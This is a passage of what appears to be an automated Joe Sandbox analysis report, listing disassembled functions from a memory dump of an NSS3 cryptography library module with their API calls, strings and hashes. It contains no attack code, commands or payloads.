PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CD1CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CD1CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CD1CE48

Strings

getnameinfo, xrefs: 6CD1CDB2, 6CD1CE23
ws2_32.dll, xrefs: 6CD1CD75
freeaddrinfo, xrefs: 6CD1CD9F, 6CD1CE10
wship6.dll, xrefs: 6CD1CDE3
getaddrinfo, xrefs: 6CD1CD88, 6CD1CDF9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 1c2e71e69da0ba16c14a9f1c78494c54032a6352aedf5ddf87eb66174104743a
Instruction ID: 25dcfcb3765d003252f56fb9c1195612a9f17fd08d06521136d1f47e91c6a8b0
Opcode Fuzzy Hash: 1c2e71e69da0ba16c14a9f1c78494c54032a6352aedf5ddf87eb66174104743a
Instruction Fuzzy Hash: B1110BE6E57112E6FB0177753C009AE3D6CAB9210CF988535E905D1FA1FB20C50D87EA

Function 6CCB6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD81DE0,?), ref: 6CCB6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCB6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CCB6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CCB6D82
DER_GetInteger_Util.NSS3(?), ref: 6CCB6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCB6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CCB6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CCB6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CCB6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CCB6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CCB7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CCB7033
free.MOZGLUE(?), ref: 6CCB703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CCB7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CCB7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CCB70AF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: df2bbdcd341842940f702acf98b5e62c7ecfd449dfb662efa2d0643c2cf6cbe0
Instruction ID: c0b715b057aeefb50f2c0e6faecc79cb9b8f323b0f28c71cebdb102a9be9f83b
Opcode Fuzzy Hash: df2bbdcd341842940f702acf98b5e62c7ecfd449dfb662efa2d0643c2cf6cbe0
Instruction Fuzzy Hash: D5A118719046019BEB088FA4DC85B6B33A4EB8130CF244939F959EBB91F735D845C7A3

Function 6CC7AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7AF39
PR_Unlock.NSS3(?,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7AF69
TlsGetValue.KERNEL32 ref: 6CC7B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC7B083
PR_Unlock.NSS3(?), ref: 6CC7B0A4
TlsGetValue.KERNEL32 ref: 6CC7B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC7B0D9
PR_Unlock.NSS3 ref: 6CC7B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC7B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC7B182

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC7B177

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CC5AB95,00000000,?,00000000,00000000,00000000), ref: 6CC7B1C2

Part of subcall function 6CCA1560: TlsGetValue.KERNEL32(00000000,?,6CC70844,?), ref: 6CCA157A
Part of subcall function 6CCA1560: EnterCriticalSection.KERNEL32(?,?,?,6CC70844,?), ref: 6CCA158F
Part of subcall function 6CCA1560: PR_Unlock.NSS3(?,?,?,?,6CC70844,?), ref: 6CCA15B2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: dde494420cb5aa0555151bb2f9c96fb955c6a8b1aa05a2ddd7fdfae3bfc28eed
Instruction ID: b24066ab7e550a2175d3788ede811d1dea60a94be2593e54645ceb8c9e4c8319
Opcode Fuzzy Hash: dde494420cb5aa0555151bb2f9c96fb955c6a8b1aa05a2ddd7fdfae3bfc28eed
Instruction Fuzzy Hash: 1FA1AEB1E00206ABEF109FA5DC81BEE7BB4EF48318F144125E905A6751F731E999CBA1

Function 6CD2A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CD2A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CD2A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD2A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CD2A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD2A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD2A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD2A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD2A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CD2A69A

Strings

database corruption, xrefs: 6CD2A627
%s at line %d of [%.10s], xrefs: 6CD2A62C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD2A61D, 6CD2A68B, 6CD2A6B3

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 9d84a6431f3b73066226585330ea8809917a79060fa085a90bac1e19d8804b47
Instruction ID: dc3d0b42427841c4540275dd49648ec2f0e53e4e0eed46390b6a4c4b22e7c9bf
Opcode Fuzzy Hash: 9d84a6431f3b73066226585330ea8809917a79060fa085a90bac1e19d8804b47
Instruction Fuzzy Hash: 365181B1908301EBDB018F25D880A5B7BE0EB4471DF04486EF98D8BA61F735D998DB92

Function 6CCCAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCCADB1

Part of subcall function 6CCABE30: SECOID_FindOID_Util.NSS3(6CC6311B,00000000,?,6CC6311B,?), ref: 6CCABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CCCADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCCAE08

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCCAE25
PL_FreeArenaPool.NSS3 ref: 6CCCAE63
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CCCAE4D

Part of subcall function 6CBD4C70: TlsGetValue.KERNEL32(?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4C97
Part of subcall function 6CBD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CB0
Part of subcall function 6CBD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCCAE93
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CCCAECC
PL_FreeArenaPool.NSS3 ref: 6CCCAEDE
PL_FinishArenaPool.NSS3 ref: 6CCCAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCCAEF5
PL_FinishArenaPool.NSS3 ref: 6CCCAF16

Strings

security, xrefs: 6CCCADEE

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 4a3e6bebc53bc1e1831da84974034582fe426af7ae067fc4c25c48bf7253eed1
Instruction ID: 13058b7a96636233674c67eadddec519bb7add160d50a12194b22a96946479e3
Opcode Fuzzy Hash: 4a3e6bebc53bc1e1831da84974034582fe426af7ae067fc4c25c48bf7253eed1
Instruction Fuzzy Hash: 04414DB2A0460067F7218B65EC8DBAB32B8AFC230CF140529E914E2F81F735D529C6D7

Function 6CCBE8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CCBE853,?,FFFFFFFF,?,?,6CCBB0CC,?,6CCBB4A0,?,00000000), ref: 6CCBE8D9

Part of subcall function 6CCB0D30: calloc.MOZGLUE ref: 6CCB0D50
Part of subcall function 6CCB0D30: TlsGetValue.KERNEL32 ref: 6CCB0D6D

Part of subcall function 6CCBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CCBDAE2,?), ref: 6CCBC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CCBE972
PORT_ArenaMark_Util.NSS3(?), ref: 6CCBE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCBEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CCBEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CCBEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CCBEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CCBEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CCBEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CCBEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CCBEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CCBEBEC
free.MOZGLUE(00000000), ref: 6CCBEC58

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 89e4ab69e807fa9161d076ec8b4a41d9d61e0853ac731a0a57e450642afa7130
Instruction ID: 3c8f6964d2706e49ff657efaab1f7583d11e1f6c389f83409b8bbf6a6e021b22
Opcode Fuzzy Hash: 89e4ab69e807fa9161d076ec8b4a41d9d61e0853ac731a0a57e450642afa7130
Instruction Fuzzy Hash: 49C16DB5E012059FEB00CFA9D981AAA7BB4BF08718F1405ADE906B7B51F731E844CBD5

Function 6CC86AF0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptFinal), ref: 6CC86B16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC86B44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC86B53

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC86B69
PR_LogPrint.NSS3( pLastPart = 0x%p,?), ref: 6CC86B85
PR_LogPrint.NSS3( pulLastPartLen = 0x%p,?), ref: 6CC86BA0
PR_LogPrint.NSS3( *pulLastPartLen = 0x%x,?), ref: 6CC86C0A

Strings

*pulLastPartLen = 0x%x, xrefs: 6CC86C05
(CK_INVALID_HANDLE), xrefs: 6CC86B4C
pulLastPartLen = 0x%p, xrefs: 6CC86B9B
C_DecryptFinal, xrefs: 6CC86B11
hSession = 0x%x, xrefs: 6CC86B2E, 6CC86B3E
pLastPart = 0x%p, xrefs: 6CC86B80

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastPartLen = 0x%x$ hSession = 0x%x$ pLastPart = 0x%p$ pulLastPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptFinal
API String ID: 1003633598-2565524109
Opcode ID: 3350fb8bea58483a951b8b6eddb484b4660e00dd90ad983dd7b7f52748e0f069
Instruction ID: 5bd8efc7006eeb01d3834c67a3eb9d4b7456d181ee8a6de5fd12c151c9b1b1f1
Opcode Fuzzy Hash: 3350fb8bea58483a951b8b6eddb484b4660e00dd90ad983dd7b7f52748e0f069
Instruction Fuzzy Hash: 133109B1602140EFFB00DB55DD48F5F3BB9EB4274DF08402AE609ABA61EB30980CC7A5

Function 6CC929A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6CC66A5E,00000001,00000000,?,6CC66540,?,0000000D,00000000), ref: 6CC92A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC66A5E,00000001,00000000,?,6CC66540,?,0000000D,00000000), ref: 6CC92A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CC66A5E,00000001,00000000,?,6CC66540,?,0000000D), ref: 6CC92A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC66A5E,00000001), ref: 6CC92AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC66A5E,00000001,00000000), ref: 6CC92ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC66A5E,00000001), ref: 6CC92ADF
PR_Unlock.NSS3(?), ref: 6CC92B38
PR_Unlock.NSS3(?), ref: 6CC92B8B

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6CC66A5E,00000001,00000000,?,6CC66540,?,0000000D,00000000,?), ref: 6CC92CA2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: 735cae73d8c3d813127f3500cc66f520870de993273889854caa294f0dd667f5
Instruction ID: 19c611c028562a940f92bb578b9571d614aa9ea0f5d5749eef2465c759eaca74
Opcode Fuzzy Hash: 735cae73d8c3d813127f3500cc66f520870de993273889854caa294f0dd667f5
Instruction Fuzzy Hash: BBB1D2B1D00205DFEB10DF69D888B9AB7B4FF09318F148529E985A3B11F731E981CBA1

Function 6CD6AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD19890: TlsGetValue.KERNEL32(?,?,?,6CD197EB), ref: 6CD1989E

EnterCriticalSection.KERNEL32(?), ref: 6CD6AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CD6AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CD6AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CD6AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD6B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6B070
PR_JoinThread.NSS3(?), ref: 6CD6B07B
free.MOZGLUE(?), ref: 6CD6B084
EnterCriticalSection.KERNEL32(?), ref: 6CD6B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6B0C4
PR_JoinThread.NSS3(?), ref: 6CD6B0F3
free.MOZGLUE(?), ref: 6CD6B0FC
PR_JoinThread.NSS3(?), ref: 6CD6B137
free.MOZGLUE(?), ref: 6CD6B140

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: d263a38737f313b6d08568354aa8ef030a30b8ae07f02ea0b44e80679e0153d2
Instruction ID: e68ddd393d2b62357d766ba6fc1cae06dcdf00de0b6e74e01c77b4ae2299a55a
Opcode Fuzzy Hash: d263a38737f313b6d08568354aa8ef030a30b8ae07f02ea0b44e80679e0153d2
Instruction Fuzzy Hash: 35914DB5900601EFCB00DF25D88095ABBF1FF85318B298569E8595BF62E732FC46CB91

Function 6CC72980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC59E71,?,?,6CC6F03D), ref: 6CC729A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC59E71,?), ref: 6CC729B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC59E71,?,?,6CC6F03D), ref: 6CC729E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC59E71,?), ref: 6CC729F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC59E71,?), ref: 6CC72A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC59E71), ref: 6CC72A13

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

PR_Unlock.NSS3(?), ref: 6CC72A6A
TlsGetValue.KERNEL32 ref: 6CC72A98
EnterCriticalSection.KERNEL32(?), ref: 6CC72AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CC72ABC
PR_Unlock.NSS3(?), ref: 6CC72AC9
TlsGetValue.KERNEL32 ref: 6CC72B3D
EnterCriticalSection.KERNEL32(?), ref: 6CC72B51
PL_HashTableLookup.NSS3(?,6CC59E71), ref: 6CC72B61
PR_Unlock.NSS3(?), ref: 6CC72B6E

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
